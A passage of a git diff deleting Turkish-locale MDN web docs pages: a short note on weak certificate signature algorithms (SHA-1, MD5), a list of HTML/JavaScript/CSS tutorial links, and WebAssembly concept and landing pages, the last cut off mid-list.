href="/en-US/docs/Web/Security/Secure_Contexts"><font><font>Güvenli Bağlamlar</font></font></a></li> - <li><a href="/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security"><font><font>Strict-Transport-Security</font></font></a><font><font> HTTP üstbilgisi</font></font></li> -</ul> - -<p><font><font>{{QuickLinksWithSubpages ( "/ tr / docs / Web / Güvenlik")}}</font></font></p> diff --git a/files/tr/web/security/weak_signature_algorithm/index.html b/files/tr/web/security/weak_signature_algorithm/index.html deleted file mode 100644 index 6271f8c05e..0000000000 --- a/files/tr/web/security/weak_signature_algorithm/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Zayıf İmza Algoritması -slug: Web/Security/Weak_Signature_Algorithm -tags: - - Kılavuz Güvenlik Algoritmalar -translation_of: Web/Security/Weak_Signature_Algorithm -original_slug: Security/Zatıf_İmza_Algoritması ---- -<h3 id="İmza_Algoritması_Neden_Önemli">İmza Algoritması Neden Önemli</h3> - -<p>Sertifika imzalamada kullanılan imza algoritmaları sertifikaların güvenliğinin kritik bir elemanıdır. İmza algoritmalarındak zayıflıklar saldırganları sahte sertifikalar üretmelerine yol açabilir. Yeni atak türlerini bulunması ve teknolojideki gelişmeler imzalara karşı yapılan saldırılarda başarılı olmayı daha fazla mümkün hale getirmiştir. Bu sebeplerden eski algoritmaların kullanımından vazgeçilmekte ve nihayetinde destek kaldırılmaktadır.</p> - -<h3 id="SHA-1">SHA-1</h3> - -<p>SHA-1 tabanlı imzalar sertifikalarda, bu yazı zamanında, yaygın olarak kullanılmaktadır. Ancak, SHA-1 eskimekte olan bir algoritmadır ve kullanımından vazgeçilmelidir. Sertifika yenileme zamanları geldiğinde daha güçlü bir imza algoritmasının kullanıldığındna emin olunmalıdır. Bu konu hakkında daha detaylı bilgiyi <a href="https://blog.mozilla.org/security/2014/09/23/phasing-out-certificates-with-sha-1-based-signature-algorithms/">Mozilla Security Blog post</a> gönderisinde okuyabilirsiniz. (İngilizce olabilir)</p> - -<h3 id="MD5">MD5</h3> - -<p>MD5 tabanlı imzalara destek 2012 yılı başlarında kaldırılmıştır.</p> diff --git a/files/tr/web/tutorials/index.html b/files/tr/web/tutorials/index.html deleted file mode 100644 index e4a602f9d1..0000000000 --- a/files/tr/web/tutorials/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: Tutorials -slug: Web/Tutorials -translation_of: Web/Tutorials ---- -<p>Bu sayfadaki linkler çeşitli örnekler ve dersleri içeren öğrenme materyallerini içerir. İster başlangıç isterse ileri düzeyde olun, burada çok faydalı uygulama ve örnekleri bulacaksınız. Bu çalışma ileri düzey web Programlayıcılar kullanıcılar çeviri yapanların katkılarıyla açık kullanımda olan bir lisansla yani anonim olarak sizlere sunulmuştur</p> - -<div class="row topicpage-table"> -<div class="section"> -<h2 class="Documentation" id="Documentation" name="Documentation">HTML ÖRNEKLERİ</h2> - -<h3 id="Giriş_Düzeyi">Giriş Düzeyi</h3> - -<dl> - <dt><a href="/en-US/docs/Web/Guide/HTML/Introduction">HTML Giriş</a></dt> - <dd>HTML nedir? Ne yapabilir, kısa bir hikaye ve bir HTML dökümanının girişi neye benzer. Makalenin her kısmında bunu daha derinlemesine gözlemleyeceksiniz.</dd> - <dt><a href="http://reference.sitepoint.com/html/page-structure" rel="external">Bir Web Sayfasının Temel Yapısı</a> (SitePoint)</dt> - <dd>HTML elemanlarının herbirinin birlikte nasıl büyük bir resmi oluşturduğunu öğren.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/HTML/Element">MDN HTML Eleman Referansı</a></dt> - <dd>Kapsamlı bir HTML elemanlarının referansı ve farklı tarayıcıların bunu nasıl desteklediği</dd> - <dt><a href="http://wikiversity.org/wiki/Web_Design/HTML_Challenges" rel="external">HTML Yenilikler</a> (Wikiversity)</dt> - <dd>Bu yenilikleri kullanarak HTML becerinizi geliştirin (örneğin, "<h2> elemanını yada <strong> elamanını nasıl kullanacağım? "), derken çok anlamlı noktalara odaklanın</dd> - <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers (KodAvcıları)</a> (CodeAvengers.com)</dt> - <dd>Code Avengers eğlencelidir. HTML, CSS ve JavaScript ile Web uygulamaları ve oyun programlamanın çok etkili bir yoludur.</dd> -</dl> - -<h3 id="İleri_Düzey">İleri Düzey</h3> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/Tips_for_Authoring_Fast-loading_HTML_Pages">HTML Sayfasının Hızlı Yüklenmesini Sağlamak Hakkında İpuçları</a><br> - Web sayfalarının oldukça esnek kullanıcıyı web serverini ve internet bağlantısını yormayan şekilde optimize edilmesi.<br> - </dt> - <dt><a href="http://www.html5rocks.com/tutorials/" rel="external">HTML5 Örnekleri</a> (HTML5 Yapıtaşları)</dt> - <dd>HTML5 deki yeniliklerinin ne kadar kullanışlı olduğuna yönelik Rehberlik turuna katılın</dd> - <dt><a href="http://www.alistapart.com/articles/semanticsinhtml5/" rel="external">HTML5 Kod Sistematiği</a> (A List Apart)</dt> - <dd>Başlangıç ve bitişteki kodlamalardaki anlamsal içeriği öğrenin</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Canvas_tutorial">Canvas Örnekleri</a></dt> - <dd>Cancas elemanları ve scriplerle nasıl grafik çizebileceğinizi öğrenin.</dd> - <dt><a href="http://html5doctor.com/" rel="external">HTML5 Doktor</a></dt> - <dd>HTML5 in doğru kullanımı hakkında makaleler bulundurur.</dd> - <dt><a href="http://www.elated.com/articles/html5-audio/" rel="external">THTML5 Audio (Ses) Elemanındaki Kolaylık</a> (Özel)</dt> - <dd>Web sayfalarınıza ses dosyalarını kolayc anasıl dahil edebileceğinizi öğrenenin Birçok kodlama örnekleri dersler içinde mevcuttur.</dd> -</dl> - -<h2 class="Documentation" id="Documentation" name="Documentation">Javascript Dersleri</h2> - -<h3 id="Giriş_Düzeyi_2">Giriş Düzeyi</h3> - -<dl> - <dt><a href="http://www.codecademy.com/">Codecademy</a> (Codecademy)</dt> - <dd>Codecademy javascript kodlama ve öğrenmenin en kolay platformudur. Online öğrenilebilir ve arkadaşlarınızla beraber kodlama yapma imkanı sunar.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Getting_Started">JavaScripte Başlarken</a></dt> - <dd>JavaScript nedir ve size nasıl yardımcı olabilir?</dd> - <dt><a href="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices" rel="external">JavaScriptin en iyi pratikleri</a><a href="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices" title="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices"> </a>(WebPlatform.org)</dt> - <dd>Javascript kodlarken açıklarınızı yanlış ve hatalarınızı öğrenebileceğiniz pratik örnekler mevcuttur.</dd> - <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt> - <dd>Yukarda bahsetmiştik yine bu platform javascript öğrenmede de etkili bir paylaşım alanıdır.</dd> - <dt><a href="http://codecombat.com/#">CodeCombat</a> (codecombat.com)</dt> - <dd>CodeCombat size oyun programlamada JavaScripti nasıl kullanacağınızı öğreten açık kaynak kodlu bir platformdur.</dd> -</dl> - -<h3 id="Orta_Düzey">Orta Düzey</h3> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/A_re-introduction_to_JavaScript">Tekrardan Javascripte Bir Değiniş</a></dt> - <dd>JavaScript programlamayı orta düzey geliştirici olarak kavrayabilmeniz amacını güden açılış kısmı</dd> - <dt><a href="http://eloquentjavascript.net/contents.html" rel="external">Seçkin JavaScript</a></dt> - <dd>Orta ve ileri düzey JavaScript Progranlama Rehberidir.</dd> - <dt><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">Essential JavaScript Design Patterns</a> (Addy Osmani)</dt> - <dd>Başlıca JavaScript modelleri kurgulamaya giriş</dd> - <dt><a href="http://www.yuiblog.com/blog/2007/01/24/video-crockford-tjpl/" rel="external">JavaScript Programlama Dili</a> (YUI Blog)</dt> - <dd>Bugünkü halini ve ilerde nasıl şekilleneceğini Douglas Crockford tasarlamıştır</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Introduction_to_Object-Oriented_JavaScript">Nesne Tabanlı JavaScript Programlamaya Giriş</a></dt> - <dd>Javascript nesne modellemesini öğren.</dd> -</dl> -</div> - -<div class="section"> -<h3 id="İleri_Düzey_2">İleri Düzey</h3> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide">JavaScript Guide</a></dt> - <dd>her düzey öğrenmeye uygun başlangıçtan ileri düzeye kadar kapsamlı olarak düzenli güncellenen JavaScript rehberi.</dd> - <dt><a href="http://ejohn.org/apps/learn/" rel="external">İleri düzey JavaScript Öğrenme</a> (John Resig)</dt> - <dd>İleri düzey JavaScript hakkında John Resig' ın hazırladığı bir rehber</dd> - <dt><a href="http://www.elated.com/articles/javascript-dom-intro/" rel="external">JavaScript DOM Programlamaya Giriş</a> (Özel)</dt> - <dd>DOM(Document Object Model) nedir ve nasıl kullanılır? Bu makale kısa bir girişle JavaScriptin bu güçlü özelliğini açıklar.</dd> - <dt><a href="http://yuiblog.com/blog/2006/10/20/video-crockford-domtheory/" rel="external">API Hassaiyeti: DOM Teorisi</a> (YUI Blog)</dt> - <dd> Document Object Modellemeyi Douglas Crockford örneklerle açıklar..</dd> - <dt><a href="http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/" rel="external">İleri Düzey JavaScript</a> (YUI Blog)</dt> - <dd>Douglas Crockford programcılardan hangisinin kolamayı tamamladığını ve diğer uygulamaları yazmaya başlayabileceğini belirler.</dd> - <dt><a href="http://bonsaiden.github.com/JavaScript-Garden/" rel="external">JavaScript Bahçesi</a></dt> - <dd>İlginç bölümlerin olduğu bir JavaScript dökümantyasyonu.</dd> - <dt><a href="http://webcache.googleusercontent.com/search?q=cache:CJYRO48hw9EJ:stackoverflow.com/questions/394601/which-javascript-framework-jquery-vs-dojo-vs" rel="external">Hangi JavaScript FrameWork (Yapı-İskelet) Kullanalım?</a> (StackOverflow)</dt> - <dd>Size uygunbir JavaScritp Frameworkunu önerir.</dd> - <dt><a href="http://yuiblog.com/blog/2008/07/22/non-blocking-scripts/" rel="external">JavaScript Downloadsların Engellenmemesi</a> (YUI Blog)</dt> - <dd>JavaScript kodları içeren sayfaların yüklenmesi esnasındaki performansı inceler.</dd> - <dt><a href="http://shichuan.github.io/javascript-patterns" rel="external">Javascipt Şablonları</a></dt> - <dd>fonksiyon şablonları,jQuery şablonları, jQuery eklenti şablonları, dizayn şablonları, genel şablonlar, sabit ve etkin şablonlar, Nesne oluşturma şablonları, yeniden kodlama şablonları ve DOM şablonlarını içeren şablon kolleksiyonudur.</dd> -</dl> - -<h2 class="Documentation" id="Documentation" name="Documentation">CSS Dersleri</h2> - -<h3 id="Giriş_düzeyi">Giriş düzeyi</h3> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started">CSS'ye başlarken</a></dt> - <dd>Bu dersler CSS (Cascading Style Sheets) bir tanıtımıdır . Rehberde basit materyallerle pratik örneklerle CSS' yi kendi bilgisayarınızda nasıl tasarlayacağınıza değinilir.</dd> - <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_Classes" rel="external">CSS Sınıf (Class) Seçiciler</a> (Wikiversity)</dt> - <dd>Css Classlar Nedir?</dd> - <dt><a href="http://en.wikiversity.org/wiki/Web_Design/External_CSS" rel="external">Dışardan Bağlantı Verilen CSS</a> (Wikiversity)</dt> - <dd>CSS'nin dışardan dosya uzantısı verilerek kodlamaya nasıl dahil edileceğini anlatır.</dd> - <dt><a href="http://www.w3.org/MarkUp/Guide/Style" rel="external">CSS'ye Bir Değiniş </a> (W3C)</dt> - <dd>Web sayfalarını CSS ile kodlamayı açıklayan kısa bir rehber.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Common_CSS_Questions">CSS İle İlgili Genel Sorular</a></dt> - <dd>Yeni başlayanlar için birçok soru ve cevaplar.</dd> - <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt> - <dd>Code Avengers bir eğlencelidir, HTML, CSS, ve JavaScript.kullanarak web uygulamaları ve oyun programlamanın etkili bir yoludur.</dd> - <dt><a href="http://techstream.org/Web-Design/CSS-selectors" title="http://codeavengers.com/">CSS Seçiciler</a> (TechStream.org)</dt> - <dd>Oldukça güzel ve ayrıntılı olarak css seçicicilere bir bakış.</dd> -</dl> - -<h3 id="Orta_Düzey_2">Orta Düzey</h3> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference">CSS Referansı</a></dt> - <dd>Firefox ve diğer tarayıcıların desteklediği kapsamlı CSS referanslarıdır</dd> - <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_challenges" rel="external">CSS Tartışmaları</a> (Wikiversity)</dt> - <dd>CSS becerilerinizi geliştirip nasıl daha çok pratiğe ihtiyaç duyduğunuzu anlayın.</dd> - <dt><a href="http://www.html.net/tutorials/css/" rel="external">Ortadüzey CSS Kavramları</a> (HTML.net)</dt> - <dd>Guruplama ve sınıf kullanımı ve dahası,</dd> - <dt><a href="http://www.alistapart.com/articles/css-positioning-101/" rel="external">CSS Konumlandırma 101</a> (Ayrı Bir Liste)</dt> - <dd>Tablolar ve Şemalarda standart uyum için konumlandırmanın kullanılması</dd> - <dt><a href="http://www.alistapart.com/articles/progressiveenhancementwithcss/" rel="external">CSS ile ileri düzeylere taşıma</a> (Ayrı Bir Liste)</dt> - <dd>Web sayfanızı CSS kodlamayla daha iyi seviyelere getirme</dd> - <dt><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">Izgara şekli Modelleme</a> (Ayrı Bir Liste)</dt> - <dd>Izgara modellemeyle sayfanızın boyutununh değişmesi halinde esnek şekilde çalışabilmesini sağlamak</dd> -</dl> - -<h3 id="İleri_Düzey_3">İleri Düzey</h3> - -<dl> - <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transforms">CSS Şekil Değiştiriciler (Transform) </a></dt> - <dd>Sayfa içi elemanların dönme, büyüme, genişleme ve yerdeğişimini CSS ile nasıl sağlanacağını anlatır.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_transitions">CSS Geçiş Efektleri (Transition)</a> </dt> - <dd>CSS Geçiş efekleri bir diğer değişle animasyon CSS3 özelliklerini içeren bir bölümdür. CSS özelliklerindeki animasyon kurgusunu efeklerle nasıl daha etkili kullanacağınızı anlatır.</dd> - <dt><a href="http://www.html5rocks.com/tutorials/webfonts/quick/" rel="external">@font-face komutuyla Web Yazı Tiplerinin Kullanılması Hakkında Basit Bir Rehber</a> (HTML5 Rocks)</dt> - <dd> @font-face size CSS3' ün sağladığı varsayılan yazı tiplerinin kullanımına ulaşılması, değiştirilmesi ve büyültülüp küçüktülebilmesini sağlar.</dd> - <dt><a href="http://davidwalsh.name/starting-css" rel="external">CSS Yazmaya Başlama</a> (David Walsh)</dt> - <dd>Özlü bir şekilde size CSS kodlamayı ve geliştirmeyi anlatır.</dd> -</dl> -</div> -</div> - -<p> </p> diff --git a/files/tr/webassembly/concepts/index.html b/files/tr/webassembly/concepts/index.html deleted file mode 100644 index 859c82bc59..0000000000 --- a/files/tr/webassembly/concepts/index.html +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: WebAssembly Kavramları -slug: WebAssembly/Concepts -translation_of: WebAssembly/Concepts ---- -<div>{{WebAssemblySidebar}}</div> - -<p class="summary">This article explains the concepts behind how WebAssembly works including its goals, the problems it solves, and how it runs inside the web browser's rendering engine.</p> - -<h2 id="What_is_WebAssembly">What is WebAssembly?</h2> - -<p>WebAssembly is a new type of code that can be run in modern web browsers and provides new features and major gains in performance. It is not primarily intended to be written by hand, rather it is designed to be an effective compilation target for source languages like C, C++, Rust, etc.</p> - -<p>This has huge implications for the web platform — it provides a way to run code written in multiple languages on the web at near-native speed, with client apps running on the web that previously couldn’t have done so.</p> - -<p>What’s more, you don’t even have to know how to create WebAssembly code to take advantage of it. WebAssembly modules can be imported into a web (or Node.js) app, exposing WebAssembly functions for use via JavaScript. JavaScript frameworks could make use of WebAssembly to confer massive performance advantages and new features while still making functionality easily available to web developers.</p> - -<h2 id="WebAssembly_goals">WebAssembly goals</h2> - -<p>WebAssembly is being created as an open standard inside the <a href="https://www.w3.org/community/webassembly/">W3C WebAssembly Community Group</a> with the following goals:</p> - -<ul> - <li>Be fast, efficient, and portable — WebAssembly code can be executed at near-native speed across different platforms by taking advantage of <a href="http://webassembly.org/docs/portability/#assumptions-for-efficient-execution">common hardware capabilities</a>.</li> - <li>Be readable and debuggable — WebAssembly is a low-level assembly language, but it does have a human-readable text format (the specification for which is still being finalized) that allows code to be written, viewed, and debugged by hand.</li> - <li>Keep secure — WebAssembly is specified to be run in a safe, sandboxed execution environment. Like other web code, it will enforce the browser's same-origin and permissions policies.</li> - <li>Don't break the web — WebAssembly is designed so that it plays nicely with other web technologies and maintains backwards compatibility.</li> -</ul> - -<div class="note"> -<p><strong>Note</strong>: WebAssembly will also have uses outside web and JavaScript environments (see <a href="http://webassembly.org/docs/non-web/">Non-web embeddings</a>).</p> -</div> - -<h2 id="How_does_WebAssembly_fit_into_the_web_platform">How does WebAssembly fit into the web platform?</h2> - -<p>The web platform can be thought of as having two parts:</p> - -<ul> - <li>A virtual machine (VM) that runs the Web app’s code, e.g. the JavaScript code that powers your apps.</li> - <li>A set of <a href="/en-US/docs/Web/API">Web APIs</a> that the Web app can call to control web browser/device functionality and make things happen (<a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>, <a href="/en-US/docs/Web/API/CSS_Object_Model">CSSOM</a>, <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a>, <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>, <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>, etc.).</li> -</ul> - -<p>Historically, the VM has been able to load only JavaScript. This has worked well for us as JavaScript is powerful enough to solve most problems people have on the Web today. We have run into performance problems, however, when trying to use JavaScript for more intensive use cases like 3D games, Virtual and Augmented Reality, computer vision, image/video editing, and a number of other domains that demand native performance (see <a href="http://webassembly.org/docs/use-cases/">WebAssembly use cases</a> for more ideas).</p> - -<p>Additionally, the cost of downloading, parsing, and compiling very large JavaScript applications can be prohibitive. Mobile and other resource-constrained platforms can further amplify these performance bottlenecks.</p> - -<p>WebAssembly is a different language from JavaScript, but it is not intended as a replacement. Instead, it is designed to complement and work alongside JavaScript, allowing web developers to take advantage of both languages' strong points:</p> - -<ul> - <li>JavaScript is a high-level language, flexible and expressive enough to write web applications. It has many advantages — it is dynamically typed, requires no compile step, and has a huge ecosystem that provides powerful frameworks, libraries, and other tools.</li> - <li>WebAssembly is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages with low-level memory models such as C++ and Rust with a compilation target so that they can run on the web. (Note that WebAssembly has the <a href="http://webassembly.org/docs/high-level-goals/">high-level goal</a> of supporting languages with garbage-collected memory models in the future.)</li> -</ul> - -<p>With the advent of WebAssembly appearing in browsers, the virtual machine that we talked about earlier will now load and run two types of code — JavaScript AND WebAssembly.</p> - -<p>The different code types can call each other as required — the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly">WebAssembly JavaScript API</a> wraps exported WebAssembly code with JavaScript functions that can be called normally, and WebAssembly code can import and synchronously call normal JavaScript functions. In fact, the basic unit of WebAssembly code is called a module and WebAssembly modules are symmetric in many ways to ES2015 modules.</p> - -<h3 id="WebAssembly_key_concepts">WebAssembly key concepts</h3> - -<p>There are several key concepts needed to understand how WebAssembly runs in the browser. All of these concepts are reflected 1:1 in the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly">WebAssembly JavaScript API</a>.</p> - -<ul> - <li><strong>Module</strong>: Represents a WebAssembly binary that has been compiled by the browser into executable machine code. A Module is stateless and thus, like a <a href="/en-US/docs/Web/API/Blob">Blob</a>, can be explicitly shared between windows and workers (via <code><a href="/en-US/docs/Web/API/MessagePort/postMessage">postMessage()</a></code>). A Module declares imports and exports just like an ES2015module.</li> - <li><strong>Memory</strong>: A resizable ArrayBuffer that contains the linear array of bytes read and written by WebAssembly’s low-level memory access instructions.</li> - <li><strong>Table</strong>: A resizable typed array of references (e.g. to functions) that could not otherwise be stored as raw bytes in Memory (for safety and portability reasons).</li> - <li><strong>Instance</strong>: A Module paired with all the state it uses at runtime including a Memory, Table, and set of imported values. An Instance is like an ES2015 module that has been loaded into a particular global with a particular set of imports.</li> -</ul> - -<p>The JavaScript API provides developers with the ability to create modules, memories, tables, and instances. Given a WebAssembly instance, JavaScript code can synchronously call its exports, which are exposed as normal JavaScript functions. Arbitrary JavaScript functions can also be synchronously called by WebAssembly code by passing in those JavaScript functions as the imports to a WebAssembly instance.</p> - -<p>Since JavaScript has complete control over how WebAssembly code is downloaded, compiled and run, JavaScript developers could even think of WebAssembly as just a JavaScript feature for efficiently generating high-performance functions.</p> - -<p>In the future, WebAssembly modules will be <a href="https://github.com/WebAssembly/proposals/issues/12">loadable just like ES2015 modules</a> (using <code><script type='module'></code>), meaning that JavaScript will be able to fetch, compile, and import a WebAssembly module as easily as an ES2015 module.</p> - -<h2 id="How_do_I_use_WebAssembly_in_my_app">How do I use WebAssembly in my app?</h2> - -<p>Above we talked about the raw primitives that WebAssembly adds to the Web platform: a binary format for code and APIs for loading and running this binary code. Now let’s talk about how we can use these primitives in practice.</p> - -<p>The WebAssembly ecosystem is at a nascent stage; more tools will undoubtedly emerge going forward. Right now, there are four main entry points:</p> - -<ul> - <li>Porting a C/C++ application with <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten</a>.</li> - <li>Writing or generating WebAssembly directly at the assembly level.</li> - <li>Writing a Rust application and targeting WebAssembly as its output.</li> - <li>Using <a href="https://assemblyscript.org/">AssemblyScript</a> which looks similar to TypeScript and compiles to WebAssembly binary.</li> -</ul> - -<p>Let’s talk about these options:</p> - -<h3 id="Porting_from_CC">Porting from C/C++</h3> - -<p>Two of the many options for creating WASM code are an online wasm assembler or <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten</a>. There are a number of online WASM assembler choices, such as:</p> - -<ul> - <li><a href="https://wasdk.github.io/WasmFiddle/">WasmFiddle</a></li> - <li><a href="https://anonyco.github.io/WasmFiddlePlusPlus/">WasmFiddle++</a></li> - <li><a href="https://mbebenita.github.io/WasmExplorer/">WasmExplorer</a></li> -</ul> - -<p>These are great resources for people who are trying to figure out where to start, but they lack some of the tooling and optimizations of Emscripten.</p> - -<p>The Emscripten tool is able to take just about any C/C++ source code and compile it into a .wasm module, plus the necessary JavaScript "glue" code for loading and running the module, and an HTML document to display the results of the code.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/14647/emscripten-diagram.png" style="display: block; height: 104px; margin: 0px auto; width: 764px;"></p> - -<p>In a nutshell, the process works as follows:</p> - -<ol> - <li>Emscripten first feeds the C/C++ into clang+LLVM — a mature open-source C/C++ compiler toolchain, shipped as part of XCode on OSX for example.</li> - <li>Emscripten transforms the compiled result of clang+LLVM into a .wasm binary.</li> - <li>By itself, WebAssembly cannot currently directly access the DOM; it can only call JavaScript, passing in integer and floating point primitive data types. Thus, to access any Web API, WebAssembly needs to call out to JavaScript, which then makes the Web API call. Emscripten therefore creates the HTML and JavaScript glue code needed to achieve this.</li> -</ol> - -<div class="note"> -<p><strong>Note</strong>: There are future plans to <a href="https://github.com/WebAssembly/gc/blob/master/README.md">allow WebAssembly to call Web APIs directly</a>.</p> -</div> - -<p>The JavaScript glue code is not as simple as you might imagine. For a start, Emscripten implements popular C/C++ libraries like <a href="https://en.wikipedia.org/wiki/Simple_DirectMedia_Layer">SDL</a>, <a href="https://en.wikipedia.org/wiki/OpenGL">OpenGL</a>, <a href="https://en.wikipedia.org/wiki/OpenAL">OpenAL</a>, and parts of <a href="https://en.wikipedia.org/wiki/POSIX">POSIX</a>. These libraries are implemented in terms of Web APIs and thus each one requires some JavaScript glue code to connect WebAssembly to the underlying Web API.</p> - -<p>So part of the glue code is implementing the functionality of each respective library used by the C/C++ code. The glue code also contains the logic for calling the above-mentioned WebAssembly JavaScript APIs to fetch, load and run the .wasm file.</p> - -<p>The generated HTML document loads the JavaScript glue file and writes stdout to a {{htmlelement("textarea")}}. If the application uses OpenGL, the HTML also contains a {{htmlelement("canvas")}} element that is used as the rendering target. It’s very easy to modify the Emscripten output and turn it into whatever web app you require.</p> - -<p>You can find full documentation on Emscripten at <a href="https://emscripten.org">emscripten.org</a>, and a guide to implementing the toolchain and compiling your own C/C++ app across to wasm at <a href="https://developer.mozilla.org/en-US/docs/WebAssembly/C_to_wasm">Compiling from C/C++ to WebAssembly</a>.</p> - -<h3 id="Writing_WebAssembly_directly">Writing WebAssembly directly</h3> - -<p>Do you want to build your own compiler, or your own tools, or make a JavaScript library that generates WebAssembly at runtime?</p> - -<p>In the same fashion as physical assembly languages, the WebAssembly binary format has a text representation — the two have a 1:1 correspondence. You can write or generate this format by hand and then convert it into the binary format with any of several <a href="https://webassembly.org/getting-started/advanced-tools/">WebAssemby text-to-binary tools</a>.</p> - -<p>For a simple guide on how to do this, see our <a href="/en-US/docs/WebAssembly/Text_format_to_wasm">Converting WebAssembly text format to wasm</a> article.</p> - -<h3 id="Writing_Rust_Targeting_WebAssembly">Writing Rust Targeting WebAssembly</h3> - -<p>It is also possible to write Rust code and compile over to WebAssembly, thanks to the tireless work of the Rust WebAssembly Working Group. You can get started with installing the necessary toolchain, compiling a sample Rust program to a WebAssembly npm package, and using that in a sample web app, over at our <a href="/en-US/docs/WebAssembly/Rust_to_wasm">Compiling from Rust to WebAssembly</a> article.</p> - -<h3 id="Using_AssemblyScript">Using AssemblyScript</h3> - -<p>For web developers who want to try WebAssembly without needing to learn the details of C or Rust, AssemblyScript will be the best option. It generates a small bundle and it's performance is slightly slower compared to C or Rust. You can check its documentation on <a href="https://assemblyscript.org/">https://assemblyscript.org/</a>.</p> - -<h2 id="Summary">Summary</h2> - -<p>This article has given you an explanation of what WebAssembly is, why it is so useful, how it fits into the web, and how you can make use of it.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="https://hacks.mozilla.org/category/webassembly/">WebAssembly articles on Mozilla Hacks blog</a></li> - <li><a href="https://research.mozilla.org/webassembly/">WebAssembly on Mozilla Research</a></li> - <li><a href="/en-US/docs/WebAssembly/Loading_and_running">Loading and running WebAssembly code</a> — find out how to load your own WebAssembly module into a web page.</li> - <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a> — find out how to use the other major features of the WebAssembly JavaScript API.</li> -</ul> diff --git a/files/tr/webassembly/index.html b/files/tr/webassembly/index.html deleted file mode 100644 index 0694b4bb44..0000000000 --- a/files/tr/webassembly/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: WebAssembly -slug: WebAssembly -tags: - - Landing - - WebAssembly - - wasm -translation_of: WebAssembly ---- -<div>{{WebAssemblySidebar}}</div> - -<div>WebAssembly, modern web tarayıcılarda çalıştırılabilen yeni bir kod türüdür — yerel performansa yakın bir performansla çalışan ve C/C++, C# ve Rust gibi dillerle kompakt bir ikili biçime sahip düşük seviyeli bir dildir. Web üzerinde çalışabilmeleri için bir derleme hedefi ile JavaScript ile birlikte çalışabilecek şekilde tasarlanmıştır.</div> - -<h2 dir="ltr" id="In_a_Nutshell">In a Nutshell</h2> - -<p dir="ltr">WebAssembly has huge implications for the web platform — it provides a way to run code written in multiple languages on the web at near native speed, with client apps running on the web that previously couldn’t have done so.</p> - -<p dir="ltr">WebAssembly is designed to complement and run alongside JavaScript — using the WebAssembly JavaScript APIs, you can load WebAssembly modules into a JavaScript app and share functionality between the two. This allows you to take advantage of WebAssembly's performance and power and JavaScript's expressiveness and flexibility in the same apps, even if you don't know how to write WebAssembly code.</p> - -<p dir="ltr">And what's even better is that it is being developed as a web standard via the <a href="https://www.w3.org/wasm/">W3C WebAssembly Working Group</a> and <a href="https://www.w3.org/community/webassembly/">Community Group</a> with active participation from all major browser vendors.</p> - -<div class="row topicpage-table"> -<div class="section"> -<h2 dir="ltr" id="Guides">Guides</h2> - -<dl> - <dt><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></dt> - <dd>Get started by reading the high-level concepts behind WebAssembly — what it is, why it is so useful, how it fits into the web platform (and beyond), and how to use it.</dd> - <dt><a href="/en-US/docs/WebAssembly/C_to_wasm">Compiling a New C/C++ Module to WebAssembly</a></dt> - <dd>When you’ve written code in C/C++, you can then compile it into .wasm using a tool like <a href="/en-US/docs/Mozilla/Projects/Emscripten/">Emscripten</a>. Let’s look at how it works.</dd> - <dt><a href="/en-US/docs/WebAssembly/existing_C_to_wasm">Compiling an Existing C Module to WebAssembly</a></dt> - <dd>A core use-case for WebAssembly is to take the existing ecosystem of C libraries and allow developers to use them on the web.</dd> - <dt><a href="/en-US/docs/WebAssembly/rust_to_wasm">Compiling from Rust to WebAssembly</a></dt> - <dd>If you've written some Rust code, you can compile it into WebAssembly! This tutorial takes you through all you need to know to compile a Rust project to wasm and use it in an existing web app.</dd> - <dt><a href="/en-US/docs/WebAssembly/Loading_and_running">Loading and running WebAssembly code</a></dt> - <dd>After you have a .wasm, this article covers how to fetch, compile and instantiate it, combining the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly">WebAssembly JavaScript</a> API with the <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> or <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> APIs.</dd> - <dt><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the 